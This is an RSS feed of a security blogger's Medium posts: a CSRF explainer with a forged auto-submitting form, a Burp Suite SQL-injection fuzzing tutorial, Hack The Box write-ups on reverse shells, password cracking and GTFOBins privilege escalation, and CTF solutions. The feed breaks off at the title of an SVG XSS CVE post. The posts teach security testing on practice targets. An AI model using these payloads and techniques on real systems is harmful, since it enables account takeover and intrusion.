<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by João Zietolie Ciconet on Medium]]></title>
        <description><![CDATA[Stories by João Zietolie Ciconet on Medium]]></description>
        <link>https://medium.com/@Joaozc?source=rss-bcc76e9ac79d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*yllh40tfOxu0U9Dp</url>
            <title>Stories by João Zietolie Ciconet on Medium</title>
            <link>https://medium.com/@Joaozc?source=rss-bcc76e9ac79d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 19:51:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Joaozc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[[PT-BR]ENTENDENDO A VULNERABILIDADE CSRF]]></title>
            <link>https://medium.com/@Joaozc/pt-br-entendendo-a-vulnerabilidade-csrf-bc6777ddda5a?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc6777ddda5a</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnerabilidade]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Thu, 10 Sep 2020 20:34:27 GMT</pubDate>
            <atom:updated>2020-09-10T20:46:13.251Z</atom:updated>
            <content:encoded><![CDATA[<h3>[PT-BR]Entendendo a vulnerabilidade CSRF</h3><h3>O que é CSRF?</h3><p>Cross Site Request Forgery ou apenas CSRF é uma vulnerabilidade conhecida em aplicações WEB que permite um atacante induzir um usuário legítimo a performar ações sem seu consentimento, contornando parcialmente a SOP(Same Origin Police) que foi projetada para impedir que sites diferentes interfiram entre si.</p><h3>Como o ataque funciona?</h3><p>1- O atacante identifica uma ação relevante em determinada aplicação, ao qual a vítima tenha acesso ao estar logada, como por exemplo uma ação de troca de senha, e-mail ou qualquer outra ação que seja de interesse do atacante.</p><p>2- A requisição será identificada e interceptada pelo atacante, que irá modelar uma página na web simples, com os parâmetros modificados, como por exemplo o parâmetro de troca de senha, podendo conter apenas um botão ou então manter todo conteúdo oculto que será enviado para a vítima, geralmente usando técnicas de engenharia social, com a intenção de que ela acione o mesmo, em certos casos apenas o acesso a página vulnerável do atacante já é o suficiente para disparar a requisição maliciosa ao domínio original.</p><p>Muitas vezes parâmetros podem ser previsíveis, em muitos casos apenas o e-mail da vítima já é o suficiente para formar uma requisição de troca de senha.</p><p>3- Para que o ataque funcione, o atacante necessita que a vítima esteja conectada em sua conta original através de uma sessão ativa (caso a ação exija autenticação) ao disparar a requisição maliciosa, que pode ter sido recebida em seu e-mail, sendo assim, no melhor dos casos, o browser irá incorporar o cookie do alvo a requisição que será processada pela aplicação como sendo legítima, da mesma forma em que é demonstrado na imagem abaixo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*VJgOKYMq_6fo4LC6.png" /></figure><p>Para entendermos o ataque de maneira mais prática, podemos observar a requisição de troca de e-mail a seguir, que possui as condições ideais para a exploração da vulnerabilidade:</p><blockquote>POST /email/change HTTP/1.1<br>Host: websitevulneravel.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 30<br>Cookie: session=F0sdvAzCeQ5gHgTvlyxHfs9</blockquote><blockquote>email=admin99@gmail.com</blockquote><p>Observe que esta requisição possui apenas um cookie simples para identificar o usuário, e a aplicação não requer nenhuma confirmação por parte do usuário para realizar a mudança, como por exemplo a confirmação de senha para efetuar este tipo de requisição, visto que este não é um parâmetro que pode ser advinhado. Com isso o atacante pode criar a seguinte página para ser enviada a vítima através de um e-mail ou link encurtado por exemplo, fazendo a vítima executar uma ação indesejada, neste caso, a mudança de e-mail:</p><blockquote>&lt;html&gt;<br> &lt;body&gt;<br> &lt;form action=”http://websitevulneravel.com/email/change” method=”POST”&gt;<br> &lt;input type=”hidden” name=”email” value=”attacker@evil-corp.net” /&gt;<br> &lt;/form&gt;<br> &lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br> &lt;/body&gt;<br>&lt;/html&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/0*4aywZEI_Ll-K0lKo.jpg" /></figure><p>Em casos em que a vulnerabilidade se encontra através de uma requisição do tipo GET, não se faz necessário o uso de um domínio externo para efetuar a requisição maliciosa visto que o conteúdo é adicionado na URL do website vulnerável, esta que pode ser encurtada para disfarçar o ataque. Atualmente existem diversas ferramentas capazes de detectar e forjar a requisição para o teste de CSRF automaticamente, a mais conhecida esta presente na versão PRO do Burp Suite que é capaz de detectar e gerar uma PoC(Proof of Concept) para o teste.</p><h3>Como prevenir meu website contra CSRF?</h3><p>Existem diversas maneiras de prevenção contra CSRF, a mais robusta é fazer o uso de Anti CSRF Tokens em requisições de maior relevância, porém não é um método infalível e existe a possibilidade de “bypass” no token, para evitar que isso aconteça o token precisa ser imprevisível, estar atrelado a sessão do usuário e ser estritamente validado antes que a solicitação seja executada, uma forma conhecida de bypass para estes tokens é mudar o conteúdo de alguns cabeçalhos como o “Content-Type” ou então mudar o tipo de requisição de POST para GET por exemplo, já que pode não estar sendo validado em todos os métodos aceitos.</p><p>Como boa prática de desenvolvimento, é importante que o desenvolvedor identifique estas alterações de maior criticidade em sua plataforma e utilize de confirmações por parte do usuário, como solicitar a senha que já esta sendo utilizada quando o usuário for mudar a senha.</p><p>Outras boas práticas são limitar o tempo de uso de um Cookie de sessão e verificar o Referer na requisição, porém esta pode ser facilmente modificada por parte do atacante. Também pode ser usado o atributo de cookie “SameSite” que irá prevenir o uso do Cookie de sessão em requisições oriúndas de outro domínio, sendo uma das maneiras mais modernas e de fácil aplicação. Para mais informações sobre:</p><p><a href="https://portswigger.net/web-security/csrf/samesite-cookies">https://portswigger.net/web-security/csrf/samesite-cookies</a></p><p><a href="https://portswigger.net/web-security/csrf/tokens">https://portswigger.net/web-security/csrf/tokens</a></p><p>O mesmo texto também foi postado no blog da XLabs Security através do link: <a href="https://www.xlabs.com.br/blog/entendendo-a-vulnerabilidade-csrf/">https://www.xlabs.com.br/blog/entendendo-a-vulnerabilidade-csrf/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc6777ddda5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fuzzing Web Applications with Burp Suite]]></title>
            <link>https://medium.com/@Joaozc/fuzzing-web-applications-with-burp-suite-7908e62d20f6?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7908e62d20f6</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Thu, 21 May 2020 01:36:31 GMT</pubDate>
            <atom:updated>2020-05-21T03:04:57.459Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>What is fuzzing?</strong></h3><p>Is a way to automate your process of finding bugs/vulnerabilities by sending a lot of requests to an application with different data, expecting that the application trigger an action. It doesn’t specific to Web Applications and can be used to a lot of services and attacks like buffer overflow.</p><p>You can fuzz a web application for find several vulnerabilities, like XSS, SQL Injection, LFI, SSRF and etc. It will only depend of the content of your word list and the scenario.</p><h3><strong>How fuzz with Burp?</strong></h3><p>Expecting that you already know the basic usage of Burp, while conducting a penetration test, a common reconnaissance method is navigate through the application with a proxy turned ON, specially burp, it will show you the parameters of application and others input vectors like headers.</p><p>To show you I used a vulnerable Web Application provided by Acunetix for this purpose, you can find it here: <a href="http://testasp.vulnweb.com/">http://testasp.vulnweb.com/</a></p><p>Looking into website with Burp proxy, I found a login page, commonly vector of SQL Injections:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*tRyxfecUKSkmEFlK8F5wmw.png" /></figure><p>Now intercept with Burp proxy the login request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*6tKqsDLmhfE68gceLXtsXQ.png" /></figure><p>Great, right click in the request and send it to intruder.</p><p>I will not explain what type of Attack in Intruder do since all information that you need is here: <a href="https://portswigger.net/burp/documentation/desktop/tools/intruder/positions">https://portswigger.net/burp/documentation/desktop/tools/intruder/positions</a> Highly recommend to learn this if you don’t already know.</p><p>Go to “Clear” option and select the data of our two login parameter through “Add” option, will be our entry data point, that is just what we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HxXSYtjTnFnR8FhtqJzzvg.png" /></figure><p>Now it’s time to select our payloads, Burp provide a wide range of options to create your own list or use one of them, in a recent pentest that I did, a Burp payload was the necessary to trigger a SQL error and after explore with SQLMap, they are really useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*k8w2CHdgrQSfYwZ2-XDn-w.png" /></figure><p>The payload sets determine which list will be used to a determined parameter, if you choose two input vectors there you can set a different word list for each one. Also you can set the payload type like case modification, numbers, dates and etc. In this case simple list is necessary since we will use a list from Burp.</p><p>The payload Options is our word list, in this case I selected the lists“Fuzzing — Full” and “Fuzzing — SQL Injection”.</p><p>We have a lot of other interesting Options for our fuzzing task, per example in Options tab you can select “Grep” to match with juicy info in response like “SQL”. Also timeout option could be useful to bypass rate limit or some WAF’s.</p><p>I activated the option “Follow redirections” because we have a redirect parameter in our request, but sometimes the error can trigger also before the redirect, you can test both.</p><p>Now is just start the attack and let intruder do the job in minutes that manually could take hours, our job is just analyze what he gave to us. A important tab to look closely is “Length”, a bigger length than normal could be an error in response page, remember to analyze the response code of any anomalies, status code is important too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*cR50JA_htp0rXtrN_7z6Fw.png" /></figure><p>In the fourth request Intruder was able to log in the application with a simple SQL Injection payload in username and identified it at response code, the content of POST request was:<br>tfUName=1%20or%201%3d1 — &amp;tfUPass=asda</p><p>This technique may help you in your bug bounty or pentest findings, take a look at each parameter present in website and try to understand what it does, if it interact with Database or is being reflected in response page, things like that. Be aware that it will do a lot of noise at server side and depending of how many threads you set up it can cause a Denial of Service attack.</p><p>By the way you should take a look at <a href="https://github.com/GouveaHeitor/nozaki">Nozaki</a>, is a fuzzer that is current in beta phase and have been developed by my friend <a href="https://www.linkedin.com/in/gouveaheitor/">Heitor Gouvêa</a>, is great CLI alternative and a promising project.</p><h3><strong>Resources:</strong></h3><ul><li><a href="https://owasp.org/www-community/Fuzzing">Fuzzing</a></li><li><a href="https://medium.com/swlh/fuzzing-web-applications-e786ca4c4bb6">Fuzzing Web Applications</a></li><li><a href="https://www.hackingarticles.in/fuzzing-sqlxss-command-injection-using-burp-suite/">Fuzzing SQL,XSS and Command Injection using Burp Suite</a></li></ul><p>If you have some question or suggestion please let me know, you can contact me in my LinkedIn: <a href="https://www.linkedin.com/in/joaozietolieciconet/">https://www.linkedin.com/in/joaozietolieciconet/</a><br>I hope that you liked!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7908e62d20f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box | Mango Write-Up]]></title>
            <link>https://medium.com/@Joaozc/hack-the-box-mango-write-up-74f40dbf9e8b?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/74f40dbf9e8b</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Sat, 18 Apr 2020 18:06:52 GMT</pubDate>
            <atom:updated>2020-04-18T18:06:52.324Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KveRjVq8_m4-fSEbF3hO1Q.png" /></figure><h3>Reconnaissance</h3><p>Start using nmap, I usually use the -A option, is a TCP scan with OS detection and script execution, this will depend of your necessity, like in a real pentest you shouldn’t use this option if you want a stealth scan, full TCP scans are easily detect by firewalls and IDS’s. Ping probes are usually blocked, -Pn will avoid this in the scan, I usually set -oX options for a XML output, after you can open this in Zenmap and get a better view about your asset, also this can centralize multiple scans in multiple hosts in one file like below:</p><ul><li>nmap -A -v -Pn 10.10.10.162 -oX mango</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxufQORimYDFwnFFqNv-vg.png" /></figure><h3><strong>Port 443:</strong></h3><p>A web page like google, that says we are logged in with the user MrR3boot but there is no cookies there to play with sessions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v6nu3GBtD-GnrkgnTS3Zww.png" /></figure><h3>Port 80:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eDglEtLl4nC7QrGS9F4sqw.png" /></figure><p>Ok we don’t have permission to see this, but there is other thing to enumerate, the SSL Certificate, looking for this we are able to found a domain name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPvItATdiuFciMedPvPufw.png" /></figure><p>Let’s change our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*aprANO2nQdf0Lx1vr-ZqQg.png" /></figure><p>Now we have access to a web login portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrXlQ4aLeVnjaiO8zWEMfQ.png" /></figure><p>After that I tried to fuzz some parameters and brute directories but nothing interesting, also tried to brute force the login page but went wrong, after a while a figured out that the name of machine was a tip for MongoDB, so I started to search about NoSQL Injections and found a user/password enumeration vulnerability and used the following code to exploit this:<a href="https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration">https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration</a></p><h3>Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*41Kvk34meaU5h46cuzSJ0Q.png" /></figure><p>Now changing to password parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*1Hc0a0QodAmGsT_qv6yS2w.png" /></figure><p>Logging into web application we are redirected to an under construction page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*2SXOElHqKFo0Y-MS-vTWWg.png" /></figure><p>Also we should ever try the access thought ssh since it’s open, use same credentials for different access is very common. Tried with admin and failed, tried with mango and we are in!</p><p>The user mango doesn’t has access to the flag, but once in I tried to change to the user admin using “su admin” with the same credential discovered before and it works, now we have access to capture the user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*lkT0uejqze4n_MwuJeue6Q.png" /></figure><h3>Privilege Escalation</h3><p>For this I used a bash script that I wrote for Linux privilege escalation, you can use LinEnum too, my script is on github, in portuguese language: <a href="https://github.com/joaozietolie/LinuxPostExpl">https://github.com/joaozietolie/LinuxPostExpl</a></p><p>This machine doesn’t has Git installed So I used wget to download from a Python simple server on my machine, in the images below you can learn how do it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*4tVlhqKuB-Ykq5xE07STMA.png" /><figcaption>Python Simple Server on my machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CCCJJhHdJ8AYPdAiBtKcvA.png" /><figcaption>Downloading with wget</figcaption></figure><p>Running the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*e8FLCWQWBWW4VsLFc6hM6Q.png" /></figure><p>In the results I found that our user “admin” has permission to run java, a vector in potential:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*mbIbj6gAos0fJ72B7LVb8A.png" /></figure><p>Now we can search in GTFOBins, if you don’t know this resource you should, is a list of Unix binaries that can be exploited by an attacker to bypass local security restrictions, it show us a lot of ways to exploit java: <a href="https://gtfobins.github.io/gtfobins/jjs/">https://gtfobins.github.io/gtfobins/jjs/</a></p><p>The first method that I tried was get a shell with sudo, this works, not exactly because the shell got stuck, I don’t know if it is a bug or not, so was necessary change the method to file read and simple read the /root/root.txt since we just need to view the file content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EssjYJh7fA8XPniSiHkVtg.png" /></figure><p>If you have some question or suggestion please let me know, you can contact me in my LinkedIn: <a href="https://www.linkedin.com/in/joaozietolieciconet/">https://www.linkedin.com/in/joaozietolieciconet/</a><br>I hope that you liked!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74f40dbf9e8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box | Traverexec Write-Up]]></title>
            <link>https://medium.com/@Joaozc/hack-the-box-traverexec-write-up-69b3855cd1fd?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/69b3855cd1fd</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Sat, 11 Apr 2020 18:37:40 GMT</pubDate>
            <atom:updated>2020-04-11T18:48:28.941Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first walkthrough here about hack the box, a online platform that allows you to train and test your hacking skills with a variety of vulnerable machines and challenges, I intend write even more here about this kind of subject, and to be my first one I picked a easy machine, expect that you would learn something new!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RN1J1Cv8pfpd21QqXWU1Hg.png" /></figure><h3>Reconnaissance</h3><p>As always, start using nmap, I usually use the -A option, is a TCP scan with OS detection and script execution, this will depend of your necessity, like in a real pentest you shouldn’t use this option if you want a stealth scan, full TCP scans are easily detect by firewalls and IDS’s. Ping probes are usually blocked, -Pn will avoid this in the scan.</p><ul><li>nmap -A -v -Pn 10.10.10.165</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*Z5tsgygAaBTpxZC9-heOKg.png" /></figure><p>Not a big scope, just 2 ports and the HTTP Server show us in the header his name and version, accessing the web page we can see a incomplete website without parameters and functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZlJ45ULNWejWfs5xwa2hA.png" /></figure><p>Let’s move to check if this version has some good vulnerabilities, happily yes, CVE-2019–16278, remote code execution. This CVE is available in Metasploit, but I recommend to avoid the use o MSF since you can’t use in OSCP exam so I found this python exploit, <a href="https://www.exploit-db.com/exploits/47837">https://www.exploit-db.com/exploits/47837</a> In this case we can go to exploitation phase.</p><h3>Exploitation</h3><p>I ran the exploit and it works, we are the www-data user, this isn’t enough to got the user flag, below I used “nc” for a reverse shell and python to got a fully interactive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*HAgLr_G0LEBwe7hLGJ1MDQ.png" /><figcaption>In my machine: nc -nlvp 11337</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*WLXX_MVHl-i84NWKwChU4g.png" /></figure><p>After a while looking for sensitive info’s and miconfigurations I found the directory of web server, look into conf files is ever a good idea, the config file of nostromo is in /var/nostromo/conf/nhttpd.conf and tell us where is stored the password file. There we have the hash of user david.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*qPBlgKkhu37eH6TD4AaN2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*6wFrBTLSACt7CvcoRexgCw.png" /></figure><p>Let’s crack this with our friend john:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*cmu6CBW1ZoS4Ujya70osyw.png" /></figure><p>Ok, we have the password, easy no? Now we just need to log in by ssh and catch the user flag right? Actually not, tried log in and didn’t works, let’s keep enumerating, this login info will be useful later.</p><p>I got stuck in this phase, when you don’t know what to do try look into manual of services running, In this case was necessary look the manual of nostromo to understand every option present in conf file. Always remember, “man” is your friend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*vmLp62_KSOl2uPpGyqlEjA.png" /></figure><p>In this case the manual says that you can set the home directory of web service placed like a sub directory in user home, we can’t see what has in /home/david/ but we can access /home/david/public_www, taked a while to figure it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*Ah50Er9MIWspvvV-jwO05A.png" /></figure><p>Found a compressed file in sub directory “protected-file-area”, we could use tar to decompress but isn’t possible because we don’t have permission to write there, so we can move this to /tmp or just access via browser, don’t forget that it is a web server, and now is when we can use the first password, to access the path below will be required a simple HTTP authentication, after we can download to our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*5cC54N-uU5RRGfL8x8AxVg.png" /></figure><p>Decompressed with “tar -xvzf backup-ssh-identity-files.tgz” and we have a private RSA key like shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*IXKLJr-VHXDCQ8H8yCPK6Q.png" /></figure><p>We need to crack it, but first we need to change this to a way that john can understand, for this I used “ssh2john”, after we can run john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQZ0TIr5Ewos99cFbYHl-A.png" /></figure><p>Perfect, now finally log in and get the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Ahi6O828MWO2mi3y8pri3Q.png" /></figure><h3>Privilege Escalation</h3><p>Got root was quite easy, In home directory of david, inside bin directory, has a bash script called server-stats.sh, running this script is shown some web server statistics, nothing interesting, the secret is in the code, we have journalctl executing with root permission!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*HcZM6pqeXYzmnFiLl6Mmeg.png" /></figure><p>To know how we can escalate this, can be used a great resource called GTFOBins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a>), is a list of Unix binaries that can be exploited in many ways, let’s look what says about Journalctl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*BDv_IcHrXD7UqxHrHTqFTw.png" /></figure><p>Great, we can spawn a shell with root permissions, is necessary just run the journalctl exactly how it is in the code and inside journalctl execute “!/bin/sh”, take the flag and be happy!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrWf8nViMToJcxXp5LPC0A.png" /></figure><p>If you have some question or suggestion please let me know, you can contact me in my LinkedIn: <a href="https://www.linkedin.com/in/joaozietolieciconet/">https://www.linkedin.com/in/joaozietolieciconet/</a><br>I hope that you liked!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69b3855cd1fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Angstrom CTF 2020 — Misc WS2 Writeup]]></title>
            <link>https://medium.com/@Joaozc/angstrom-ctf-2020-misc-ws2-writeup-775dd0041770?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/775dd0041770</guid>
            <category><![CDATA[angstromctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Thu, 19 Mar 2020 00:02:23 GMT</pubDate>
            <atom:updated>2020-03-19T00:02:23.174Z</atom:updated>
            <content:encoded><![CDATA[<h3>Angstrom CTF 2020 — Misc WS2 Writeup</h3><p>Challenge Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*s_5D_tzdYLWsXd73wmE7AA.png" /></figure><p>I really like to do these kind of networking challenges, the first step is analyze the entire traffic of pcap file, nothing better than Wireshark to do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*378ZytLwF1_CpFgRXoEKcA.png" /></figure><p>Just 79 packets, some of them a HTTP conversation with a POST request, interesting, let’s look the TCP Streams, right click on the packet &gt; Follow &gt; TCP Streams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*2QrrU_70c2g8AQJFLGGV8g.png" /></figure><p>The POST request is a file upload, and the name of the file, flag.jpg, interesting no? Let’s find a way to view this file.</p><p>In other CTF’s that I played, the resolution was just copy and past the code and save with jpeg file type, but because multipart data encoding this method doesn’t work for me, so I found another way to got the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jt9MBPrhG5RVew7hDM4pA.png" /></figure><p>Analyzing the frame fields, in MIME Multipart Media Encapsulation I saw the field JPEG File Interchange Format, It’s exactly what we are looking for, so, right click &gt; Export packet bytes or just show packet bytes. here is our flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*VPlligcWdw4eRHLXVlOlpw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=775dd0041770" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Angstrom CTF 2020 — Misc Shifter Writeup]]></title>
            <link>https://medium.com/@Joaozc/angstrom-ctf-2020-misc-shifter-writeup-c6537f98992b?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6537f98992b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Thu, 19 Mar 2020 00:01:26 GMT</pubDate>
            <atom:updated>2020-03-19T00:01:26.591Z</atom:updated>
            <content:encoded><![CDATA[<h3>Angstrom CTF 2020 — Misc Shifter Writeup</h3><p>Challenge description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*2tcCHN3URQUZSvTzEKKZxw.png" /></figure><p>Let’s connect into the server and see what we have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*6JRYqpLsDxmIq9glqq78bQ.png" /></figure><p>Ok Aplet123, challenge accepted! First of all we need to understand what the challenge is saying and the resolution of the first crypto problem, since once resolved, we just need to automate the process to do this 49 times in 60 seconds. Let’s use the example given in the image to understand.</p><p>We have a plain text “p”(ECCUAIQIA) and a number “n”(14) that we need to calculate the nth value of Fibonacci. After is just necessary use the number like shift to encode our “p” plain text with Caesar cipher.</p><p>F(14) = 377</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8QOhxqL_UiIg9KH5ivEqJg.png" /></figure><p>Ok we understood the logic, do it manually isn’t a good idea so chose your preferred programming language and start to code!</p><p>I used Python3 and I had a BIG help of Victor Covalski(Shruwi) that did the hard work. Thank you!</p><pre>import socket<br>from string import ascii_letters<br><br>def fibo(n):<br>    a, b = 0, 1<br>    yield a<br>    for x in range(1, n):<br>        a, b = b, a + b<br>        yield a<br><br><br>def caesar(plaintext, n):<br>    return &quot;&quot;.join([chr(((ord(c) - 65 + n) % 26) + 65) for c in plaintext])<br><br>UPPERCASE_LETTERS = ascii_letters[26:]<br>FIBONACCI = [c for c in fibo(50)]<br>HOST = &#39;misc.2020.chall.actf.co&#39;<br>PORT = 20300<br>challenges = 0<br><br>with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>    s.connect((HOST, PORT))<br><br>    def getline(sock):<br>        buff = sock.recv(512)<br>        buffering = True<br>        while buffering:<br>            if b&quot;\n&quot; in buff:<br>                (line, buff) = buff.split(b&quot;\n&quot;, 1)<br>                yield line.decode(&#39;utf-8&#39;)<br>            else:<br>                more = sock.recv(512)<br>                if not more:<br>                    buffering = False<br>                else:<br>                    buff += more<br>        if buff:<br>            yield buff.decode(&#39;utf-8&#39;)<br><br>    while challenges &lt; 50:<br>        for l in getline(s):<br>            print(l)<br><br>            l = l[2:] if l[0:2] == &#39;: &#39; else l<br><br>            if l.startswith(&#39;Shift&#39;):<br>                _, plaintext, _, n = l.split(&#39; &#39;)<br>                n = FIBONACCI[int(n.split(&#39;=&#39;)[1])]<br>                cipher = caesar(plaintext, n)<br>                print(cipher)<br>                s.send(f&quot;{cipher}\n&quot;.encode(&#39;utf-8&#39;))<br>                challenges += 1<br>        else:<br>            continue</pre><p>And running the code we got the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*9IAVqA6dXyxAWWD-pwo0ZQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6537f98992b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2019–19206 — Stored XSS due to JavaScript execution in an SVG file]]></title>
            <link>https://medium.com/@Joaozc/cve-2019-19206-stored-xss-due-to-javascript-execution-in-an-svg-file-ee1d038fba76?source=rss-bcc76e9ac79d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee1d038fba76</guid>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[svg]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[João Zietolie Ciconet]]></dc:creator>
            <pubDate>Thu, 21 Nov 2019 23:58:11 GMT</pubDate>
